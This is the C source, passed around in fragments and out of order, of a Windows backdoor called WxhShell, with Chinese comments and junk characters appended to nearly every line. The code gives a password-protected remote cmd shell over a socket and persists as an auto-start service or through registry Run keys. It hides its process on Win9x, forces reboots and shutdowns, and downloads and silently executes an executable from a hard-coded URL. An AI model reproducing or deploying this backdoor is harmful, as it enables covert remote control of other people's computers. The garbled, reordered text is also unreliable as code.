    closesocket(wsh); '| 8 dt "C  
    ExitThread(0); <jh4P!\&j  
    } c 1YDln  
    break; "@Vyc6L  
    } *22Vc2[i;  
  // 获取shell qO6M5g:   
  case 's': { wgl<JO  
    CmdShell(wsh); ) Sn0Y B  
    closesocket(wsh); $xO8?  
    ExitThread(0); ASqYA1p.  
    break; U1\7Hcs$  
  } 4 m:h&^`N  
  // 退出 X[BP0:`t  
  case 'x': { `Ba]i)!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #g{R+#fm  
    CloseIt(wsh); Yy*=@qu>g  
    break; VD=H=Ju  
    } p-4$)w~6i  
  // 离开 mixsJ}e  
  case 'q': { <4}m:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Exb64n-_=  
    closesocket(wsh); R%UTYRLUn  
    WSACleanup(); 0jTReY-W  
    exit(1); ;V,L_"/X  
    break; eL3 _Lz  
        } zxR]+9Zh  
  } j=r1JV @  
  } {npm9w<;  
:=Olp;+_  
  // 提示信息 *,\v|]fc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IO)B3,g  
} 9q'9i9/3d  
  } {'b;lA]0  
5m8u:6kQu  
  return; )/RG-L  
} b\P:a_vq  
uw;Sfx,s  
// shell模块句柄 VF`!ks  
int CmdShell(SOCKET sock) fyQOF ItM  
{ (b25g!  
STARTUPINFO si; sN41Bz$q.  
ZeroMemory(&si,sizeof(si)); y4-kuMYR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Iz0$T.T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8(1*,CJQg  
PROCESS_INFORMATION ProcessInfo; sfF~k-  
char cmdline[]="cmd"; ibkB>n{(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U,g8:M xHK  
  return 0; H4g8 1V=  
} ~[;r) g\  
V}y]<  
// 自身启动模式 VLXA6+  
int StartFromService(void) ddQ+EY@!  
{ wJC[[_"3 I  
typedef struct D$l!lRu8+L  
{ sq|\!T  
  DWORD ExitStatus; 1K Vit{  
  DWORD PebBaseAddress; JduO^Fit  
  DWORD AffinityMask; J"aw 1  
  DWORD BasePriority; ZHTi4JY  
  ULONG UniqueProcessId; 1T!o`*  
  ULONG InheritedFromUniqueProcessId; A \/~u"Y  
}   PROCESS_BASIC_INFORMATION; A@V$~&JCL5  
M}8P _<,  
PROCNTQSIP NtQueryInformationProcess; #9,8{ O"  
g+#<;Gbpe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h>pu^ `hk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :-?ZU4)  
Tg{5%~L]   
  HANDLE             hProcess; 'K7\[if{  
  PROCESS_BASIC_INFORMATION pbi; %o?)`z9-  
;,77|]<XE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Oiib2Ov  
  if(NULL == hInst ) return 0; #b^6>  
UarLxPQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T]th3*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a_b#hM/c;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fb{N>*l.  
$1.-m{Bd  
  if (!NtQueryInformationProcess) return 0; HVa9b;  
Yq ]sPE92  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1jKpLTSs  
  if(!hProcess) return 0; ^lp=4C9  
Q.N!b 7r7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4R'CL N |t  
Ul8HWk[6Iw  
  CloseHandle(hProcess); m.lR]!Y=w  
oJa}NH   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gmVN(K}SR5  
if(hProcess==NULL) return 0; a2P)@R  
NjIPHM$g  
HMODULE hMod; =Kj{wA O  
char procName[255]; URb8[~dR:  
unsigned long cbNeeded; _=HaE&  
|dR}S!fmG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3Q,&D'];[  
k8?._1t  
  CloseHandle(hProcess); z"f@iJX?2  
U'=8:&  
if(strstr(procName,"services")) return 1; // 以服务启动 h$8h@2%  
6{6hz 8  
  return 0; // 注册表启动 'V]C.`9c  
} (WHg B0{  
OlT8pG5Oa  
// 主模块 k'8tcXs  
int StartWxhshell(LPSTR lpCmdLine) F\eQV<  
{ 8UU L=  
  SOCKET wsl; lC($@sC%  
BOOL val=TRUE; m!ZY]:)$  
  int port=0; 9J/[7TzSZ  
  struct sockaddr_in door; YE`Y t  
7qqzL_d>  
  if(wscfg.ws_autoins) Install(); 8KJUC&`  
Y%;J/4dd  
port=atoi(lpCmdLine); .Y6v#VI  
S<7!<]F-  
if(port<=0) port=wscfg.ws_port; e]VW\ 6J&  
iqlb,8  
  WSADATA data; ,# 2~<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3)WfBvG  
G2|jS@L#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r;{$x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ps'_Y<@  
  door.sin_family = AF_INET; V 1'otQH2l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N**)8(  
  door.sin_port = htons(port); `df!-\#  
3CD#OCz7&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ),yar9C  
closesocket(wsl); dFBFXy  
return 1; sFM$O232  
} z)M#9oAM  
'I>USl3hI  
  if(listen(wsl,2) == INVALID_SOCKET) { PA'&]piPl:  
closesocket(wsl); |$\K/]q -  
return 1; wG49|!l6T  
} 254V)(t^QM  
  Wxhshell(wsl); \-yI dKj  
  WSACleanup(); VpJKH\)Rt(  
b? o  
return 0; 3Y Mqp~4  
Z"VP<-  
} V8/4:Va7 s  
h/n(  
// 以NT服务方式启动 y"yo\IDW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X\`']\l  
{ L2>e@p\>  
DWORD   status = 0; |Y K,&  
  DWORD   specificError = 0xfffffff; ?9t4>xKn  
1 tOslP@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lU doMm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WkXgz6 P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _tHhS@   
  serviceStatus.dwWin32ExitCode     = 0; Mz&/.A  
  serviceStatus.dwServiceSpecificExitCode = 0; l:'#pZ4T  
  serviceStatus.dwCheckPoint       = 0; 0 h A:=r  
  serviceStatus.dwWaitHint       = 0; >Lo\?X~  
>e {1e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q;,lv3I  
  if (hServiceStatusHandle==0) return; bkd`7(r  
u@dvFzc  
status = GetLastError(); <<!fA ><W  
  if (status!=NO_ERROR) 'S3<' X  
{ AJ%E.+@=r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; " AUSgVE+h  
    serviceStatus.dwCheckPoint       = 0; u9~5U9]O%6  
    serviceStatus.dwWaitHint       = 0; A1/@KC"&{G  
    serviceStatus.dwWin32ExitCode     = status; :&wb+tV  
    serviceStatus.dwServiceSpecificExitCode = specificError; xnMcxys~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  !64Tx  
    return; 0Agse)  
  } <yipy[D  
{_N9<i{T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wPM&N@Pf  
  serviceStatus.dwCheckPoint       = 0; s)- ;74(  
  serviceStatus.dwWaitHint       = 0; wj6u,+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q3WI @4  
} zjA]Tr  
+51heuu[o  
// 处理NT服务事件,比如:启动、停止 )'~Jsg-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y.A3hV%6b  
{ 41<~_+-@  
switch(fdwControl) n725hY6}<l  
{ +vy fhw4  
case SERVICE_CONTROL_STOP: FGi7KV=N  
  serviceStatus.dwWin32ExitCode = 0; U5kKT.M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e%cTFwX?n  
  serviceStatus.dwCheckPoint   = 0; 3SIq od;%  
  serviceStatus.dwWaitHint     = 0; :V.@:x>id  
  { sex\dg<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'yPKQ/y$x  
  } l(NQk> w  
  return; XSC=qg$  
case SERVICE_CONTROL_PAUSE: Z$/76  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d~~kJKK  
  break; e4` L8  
case SERVICE_CONTROL_CONTINUE: 3A`Gx#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YTyrX  
  break; At\(/Z y  
case SERVICE_CONTROL_INTERROGATE: 1<G+KC[F  
  break; x.-d)]a!  
}; ?Ujg.xo\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RKP, w %  
} jae9!W i  
/-p!|T}w  
// 标准应用程序主函数  E4eX fu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 14 & KE3`  
{ ^i%S}VK  
(|BY<Ac3  
// 获取操作系统版本 Ip'tB4Mq  
OsIsNt=GetOsVer(); ]i#p2?BR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bq ED5;d'#  
nx'c=gp  
  // 从命令行安装 O=3/ qs6m  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~bZ =]i  
0 cycnOd  
  // 下载执行文件 m}'_Poc  
if(wscfg.ws_downexe) { XX/gS=NE#.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \Sd8PGl*'  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;Xt <\^e  
} % [$HX'Y  
7,SQz6]  
if(!OsIsNt) { Kd-1EU  
// 如果时win9x,隐藏进程并且设置为注册表启动  )bF l-  
HideProc(); yus3GqPI  
StartWxhshell(lpCmdLine); N; }$!sNIm  
} ZwDL  
else lfj5?y  
  if(StartFromService()) OL 0YjU@  
  // 以服务方式启动 fF)Q;~_VA  
  StartServiceCtrlDispatcher(DispatchTable); 8vVE  
else q2X::Yqk  
  // 普通方式启动 AfA"QCyO  
  StartWxhshell(lpCmdLine); 1@v <  
4Et(3[P71  
return 0; a|FkU%sjzZ  
} 5 e+j51  
Q!P%duO  
6axxyh%  
\!\:p/f  
=========================================== 0 SSdp<  
Ow4_0l&  
-LiGO#U  
Jb"FY:/Qv+  
eS!]..%y  
6o^>q&e}%  
" -{0Pq.v  
|E >h*Y  
#include <stdio.h> ,4H? +|!  
#include <string.h> WhW}ZS'r  
#include <windows.h> bJ_rU35s>  
#include <winsock2.h> aLh(8;$  
#include <winsvc.h> iI<c  
#include <urlmon.h> .u)KP*_  
|Ml~Pmpp  
#pragma comment (lib, "Ws2_32.lib") fv7VDo8vb  
#pragma comment (lib, "urlmon.lib") LWM<[8wJ4  
ya&=UoI  
#define MAX_USER   100 // 最大客户端连接数 WkuCn T  
#define BUF_SOCK   200 // sock buffer jOV6 %  
#define KEY_BUFF   255 // 输入 buffer XKTDBaON  
{}$rN@OM$  
#define REBOOT     0   // 重启 3 ZOD2: (  
#define SHUTDOWN   1   // 关机 A1p~K*[[  
%f'pAc|#  
#define DEF_PORT   5000 // 监听端口 f![] :L  
\>5sW8P]H`  
#define REG_LEN     16   // 注册表键长度 \$_02:#  
#define SVC_LEN     80   // NT服务名长度 r4mh:T4i  
Sl8+A+  
// 从dll定义API BHY-fb@R]H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aE'nW_f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \s#~ %l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kx(beaf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1;/SXJ s  
b;VIR,2  
// wxhshell配置信息 ''9]`B,:a0  
struct WSCFG { G %sO{k7  
  int ws_port;         // 监听端口 |X=p`iz1&  
  char ws_passstr[REG_LEN]; // 口令 ^dpM2$J  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'b.jKkW7  
  char ws_regname[REG_LEN]; // 注册表键名 f$>_>E  
  char ws_svcname[REG_LEN]; // 服务名 qR.FjQOvn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iOZ9A~Ywy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |>(Vo@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K.yc[z)un  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -Hm"Dx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .8QhJHwd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W%+02_/)  
bR7tmJ[)Z  
}; 1vq2`lWpx  
9C \}bT  
// default Wxhshell configuration ]lA}5  
struct WSCFG wscfg={DEF_PORT, 2@MpWj4  
    "xuhuanlingzhe", rS>.!DiYr,  
    1, 1#N`elm  
    "Wxhshell", 7D<Aa?cv_l  
    "Wxhshell", "=Z=SJ1D  
            "WxhShell Service", 3YLK?X8  
    "Wrsky Windows CmdShell Service", P1OYS\  
    "Please Input Your Password: ", drAJ-ii  
  1, !!L'{beF  
  "http://www.wrsky.com/wxhshell.exe", 6|p8_[e`  
  "Wxhshell.exe" jlb8<xIC]  
    }; Z><+4 '  
QyA^9@iVs  
// 消息定义模块 #Tc`W_-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e5AsX.kv B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0dwD ?GG2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^JxVs 7  
char *msg_ws_ext="\n\rExit."; 6/cm TT$i  
char *msg_ws_end="\n\rQuit."; w(bvs&`{uC  
char *msg_ws_boot="\n\rReboot..."; F7<M{h5s  
char *msg_ws_poff="\n\rShutdown..."; +On2R&m  
char *msg_ws_down="\n\rSave to "; imADjBR]  
1CJ1-]S(3  
char *msg_ws_err="\n\rErr!"; Lf9s'o}.R  
char *msg_ws_ok="\n\rOK!"; z2V ->UK)  
^N7cXK*  
char ExeFile[MAX_PATH]; Srw`vql{(  
int nUser = 0; "d-vs t5  
HANDLE handles[MAX_USER]; 5dv|NLl  
int OsIsNt; 1;m?:|6K{  
AM?ZhM  
SERVICE_STATUS       serviceStatus; \GHj_r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gIweL{Pc  
i+S%e,U*  
// 函数声明 ?6*\  M  
int Install(void); `%|3c  
int Uninstall(void); 1?)h-aN  
int DownloadFile(char *sURL, SOCKET wsh); %ly&~&0  
int Boot(int flag); q>%.zc[x  
void HideProc(void); rui 8x4c  
int GetOsVer(void); BT(eU*m-  
int Wxhshell(SOCKET wsl); ,r3`u2)  
void TalkWithClient(void *cs); EQoK\.; G~  
int CmdShell(SOCKET sock); I.t)sf,  
int StartFromService(void); DBy%"/c  
int StartWxhshell(LPSTR lpCmdLine); ,MHK|8!  
1WaQWZ:=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dgQ<>+9]6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @RB^m(> 5  
!gyW15z'  
// 数据结构和表定义 '~yxu$aK  
SERVICE_TABLE_ENTRY DispatchTable[] = O\q6T7bfRW  
{ !*DY dqQ/  
{wscfg.ws_svcname, NTServiceMain}, M.SF}U  
{NULL, NULL} 0XljFQ  
}; .`KzA]&#  
KD\%B5Jy  
// 自我安装 D|Tz{DRG  
int Install(void) *pO`sC>  
{ bfb9A+]3'  
  char svExeFile[MAX_PATH]; zBca$Vp  
  HKEY key; hH$9GL{H  
  strcpy(svExeFile,ExeFile); >8>s K(S]  
Z!q$d/1  
// 如果是win9x系统,修改注册表设为自启动 Jl\U~i  
if(!OsIsNt) { \1?'JdN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `+."X1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .5SYN -@  
  RegCloseKey(key); @(6P L^I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iqoMQ7%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tw 3zw`o:  
  RegCloseKey(key); gr!!pp;  
  return 0; uu-M7>+  
    } 0WZd$  
  }  ^[I> #U  
} (3K,f4S@  
else { /^K-tz-R  
\0i0#Dt9  
// 如果是NT以上系统,安装为系统服务 U |eh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AH#a+<;a  
if (schSCManager!=0) v! DU ewz  
{ y]!#$C /  
  SC_HANDLE schService = CreateService Lf.Ia *R:  
  ( >C{8}Lg-.  
  schSCManager, 6*1f -IbV  
  wscfg.ws_svcname, $? Z}hU  
  wscfg.ws_svcdisp, .LM|@OeaD!  
  SERVICE_ALL_ACCESS, f\hQ>MLzt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #xR=U"  
  SERVICE_AUTO_START, > B;YYj~f}  
  SERVICE_ERROR_NORMAL, lwG)&qyVd  
  svExeFile, Dm?:j9o]g  
  NULL, d=\TC'd"{  
  NULL, lQgavP W!  
  NULL, 2.{zf r  
  NULL, vytO8m%U  
  NULL  `uDOIl  
  ); 5ld?N2<8/  
  if (schService!=0) wU/fGg*M2  
  { .2|(!a9W  
  CloseServiceHandle(schService); QX a2qxTc  
  CloseServiceHandle(schSCManager); zk@s#_3ct  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x!7!)]h  
  strcat(svExeFile,wscfg.ws_svcname); i$.!8AV6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]l=CiG4!M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r0OP !u  
  RegCloseKey(key); D\-DsT.H  
  return 0; .f[z_% ar  
    } Gf!c  
  } 2#qc YU  
  CloseServiceHandle(schSCManager); CCC9I8rZD  
} 1JOoIC jB  
} >`yRL[c;  
[k%u$  
return 1; k8+U0J_{'  
} SEWdhthP  
+~==qLsU  
// 自我卸载 b'4}=Xpn  
int Uninstall(void) tr A ^JY  
{ zII^Ny8D  
  HKEY key; rNm_w>bq  
;S&anC#E  
if(!OsIsNt) { 2H] 7=j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F U L'=Xo  
  RegDeleteValue(key,wscfg.ws_regname); ^P.U_2&  
  RegCloseKey(key); |<8Fa%!HHc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VV[Fb9W ;  
  RegDeleteValue(key,wscfg.ws_regname); *6}'bdQbNP  
  RegCloseKey(key); fG8^|:  
  return 0; 1<Uv4S  
  } z X+i2,  
} >%N,F`^3  
} g&_f%hx?  
else { 6Xn9$C)  
k5}Qx'/l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pFBK'NE  
if (schSCManager!=0) szqR1A  
{ mtLiS3Nk8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pI_:3D xe  
  if (schService!=0) XKOPW/  
  { 3_&s'sG5  
  if(DeleteService(schService)!=0) { &tiJ=;R1  
  CloseServiceHandle(schService); &- My[t  
  CloseServiceHandle(schSCManager); [s] ZT  
  return 0; A^|~>9  
  } y\:Ma7V  
  CloseServiceHandle(schService); ^FTS'/Q  
  } ?5% o-hB|  
  CloseServiceHandle(schSCManager); kf95)iLo  
} ExFz@6@  
} "d0D8B7HI@  
|WT]s B0Eq  
return 1; & \C1QkI  
} j]mnH`#BL  
_Db&f}.`  
// 从指定url下载文件 Z;;A#h'%e  
int DownloadFile(char *sURL, SOCKET wsh) 4)XB3$<  
{ T}"[f/:N/  
  HRESULT hr; }P\6}cK  
char seps[]= "/"; 3".#nN  
char *token; D mky!Cp  
char *file; l&Y'5k_R  
char myURL[MAX_PATH]; rodqa  
char myFILE[MAX_PATH]; IF6-VFY:6  
:+?r nb)N  
strcpy(myURL,sURL); 93,7yZ 5#  
  token=strtok(myURL,seps); q(2ZJn13f  
  while(token!=NULL) ?O]RQXsZ2  
  { X]W(  
    file=token; 7^d7:1M  
  token=strtok(NULL,seps); \W\*'C8q\  
  } 9pWSvalw9  
&2ty++gC  
GetCurrentDirectory(MAX_PATH,myFILE); ;R@D  
strcat(myFILE, "\\"); sfy}J1xIL  
strcat(myFILE, file); {#pw rWG  
  send(wsh,myFILE,strlen(myFILE),0); 2^rJ|Ni  
send(wsh,"...",3,0); m|OB_[9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r{*BJi.b  
  if(hr==S_OK) pWH,nn?w.  
return 0; I_R6 M1  
else bV"t;R9  
return 1; Pj!f^MN  
P%!=Rj^2m  
} rrphOG  
LEX @hkh  
// 系统电源模块 f'M([gn^_  
int Boot(int flag) 43O5|8o  
{ i;juwc^n}  
  HANDLE hToken; EiZa,}A  
  TOKEN_PRIVILEGES tkp; "-rqL  
3kwkU  
  if(OsIsNt) { .t&G^i'n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zzb?Nbf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bUYjmb2g)  
    tkp.PrivilegeCount = 1; <:8Ew  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z B!~@Vf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U9 mK^  
if(flag==REBOOT) { sN#ju5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $>+g)  
  return 0; kZi/2UA5Z  
} 6mgLeeY  
else { mGkQx -|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uW!saT5o  
  return 0; MY}K.^ 4^  
} jCIY(/  
  } [r'A8!/|[  
  else { ki1j~q  
if(flag==REBOOT) { Cbm^: _LR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aEVy20wd  
  return 0; } .<(L  
} Ji6.-[:  
else { #~.RJ%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Io&HzQW^a  
  return 0; '6*9pG-  
} dT (i*E\j  
} ^r mQMjF  
<~:2~r  
return 1; T4[/_;1g  
} 1083p9Uh  
ovDPnf(  
// win9x进程隐藏模块 sc6NON#  
void HideProc(void) j9vK~_?;  
{ [8 H:5 Ho  
ZNL+w4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6GqC]rd*:  
  if ( hKernel != NULL ) /{ W6]6^  
  { TNK1E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3=*ur( Qy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N0JdU4'  
    FreeLibrary(hKernel); `46.!  
  } ,(f W0d#  
-8<vWe  
return; @~UQU)-(  
} ;P/ 4.|<  
\<G"9w  
// 获取操作系统版本 <iGW~COd  
int GetOsVer(void) Wcm8,?*  
{ ~-B+7  
  OSVERSIONINFO winfo; 1MT,A_L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f*9O39&|  
  GetVersionEx(&winfo);  ARs]qUY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =2ED w_5E  
  return 1; g2=PZR$  
  else  ts=:r  
  return 0; 49c-`[d L  
} ='m%Iq7X  
z0#2?o  
// 客户端句柄模块 9\/oL{  
int Wxhshell(SOCKET wsl) \k{[HfVvn  
{ 4-Jwy  
  SOCKET wsh; K>b4(^lf  
  struct sockaddr_in client; U~;tk@  
  DWORD myID; +lhCF*@*N  
=;b3i1'U  
  while(nUser<MAX_USER) qd#7A ksm  
{ ,VSO;:Z  
  int nSize=sizeof(client); a/1;|1a.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5Dz$_2oM3  
  if(wsh==INVALID_SOCKET) return 1; 9cU9'r# h  
x{tlC}t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dM P'Vnfj  
if(handles[nUser]==0) 4RYH^9;>K  
  closesocket(wsh); 5Z5x\CcC3  
else |r36iUHZS  
  nUser++; Id>4fF:o  
  } t8rFn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D|Wlq~IpQ  
Kfr1k  
  return 0; kxJ[Bi#  
} j0V/\Ep)T<  
;ko6igx)+  
// 关闭 socket )5gj0#|CG@  
void CloseIt(SOCKET wsh) 7')W+`o8eL  
{ ,]W|"NUI  
closesocket(wsh); <JU3sXl  
nUser--; "k{so',7z  
ExitThread(0); =WBfaxL}  
} TsGx2[  
|D%mWQng  
// 客户端请求句柄 /kg#i&bP~  
void TalkWithClient(void *cs) u *rP 8GuS  
{ '[%#70*  
P)J-'2{  
  SOCKET wsh=(SOCKET)cs; 't0M+_J  
  char pwd[SVC_LEN]; fwV2b<[  
  char cmd[KEY_BUFF]; 79exZ7|  
char chr[1]; ahy6a,)K~  
int i,j; "42/P4:  
|%mZ|,[  
  while (nUser < MAX_USER) { ?+.C@_QZQ  
.g\Oj0Cbxh  
if(wscfg.ws_passstr) { aekke//y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k0K$OX*:e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p'1/J:EnV  
  //ZeroMemory(pwd,KEY_BUFF); M*kE |q/K  
      i=0; 0doJF@H  
  while(i<SVC_LEN) { UeLO`Ug0;  
QuPz'Ut#  
  // 设置超时 /lu|FWbEw  
  fd_set FdRead; %Uz\P|6PO  
  struct timeval TimeOut; b/]4#?g  
  FD_ZERO(&FdRead); f:<BUqa  
  FD_SET(wsh,&FdRead); f17E2^(I(}  
  TimeOut.tv_sec=8; }^ ,D~b-nB  
  TimeOut.tv_usec=0; 31alQ\TH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M(LIF^'U:m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {7z]+h  
Rqp#-04*W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .hR <{P  
  pwd=chr[0]; #~"IlBk\  
  if(chr[0]==0xd || chr[0]==0xa) { ,_Bn{T=U  
  pwd=0; NR1M W^R  
  break; k4{|Xn  
  } s(3HZ>qx;  
  i++; ?X@[ibH6  
    } x5BS|3W$a  
Opcszq5n  
  // 如果是非法用户,关闭 socket )`f-qTe  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~ILv*v@m  
} >19s:+  
\\#D!q*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5P"R'/[PA_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kq-1  b  
n9}BT^4 v  
while(1) { 85q/|9D  
YRX^fZ-b  
  ZeroMemory(cmd,KEY_BUFF); ,v>;/qm  
%\HPYnIe  
      // 自动支持客户端 telnet标准   8Sj<,+XFq  
  j=0; wGKxT ap  
  while(j<KEY_BUFF) { "T5oUy&i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k1f<(@*`  
  cmd[j]=chr[0]; ~1wt=Ln>  
  if(chr[0]==0xa || chr[0]==0xd) { tjb$MW$('  
  cmd[j]=0; TZt;-t`  
  break; A%Ka)UU+n  
  } Pg(Y}Tu  
  j++; oMj"l#a*  
    } $) "\N  
RBn/7  
  // 下载文件 h]ae^M  
  if(strstr(cmd,"http://")) { L,y q=%h|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8xgBNQdPT  
  if(DownloadFile(cmd,wsh)) jc Mn   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o?>0WSLlm  
  else f/UU{vX(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bHnKtaK4c  
  } _Fa\y ZX  
  else { Jj>Rzj!m  
N wk  
    switch(cmd[0]) { )- &@ 8`  
  t,|Apl]  
  // 帮助 O@a OKk  
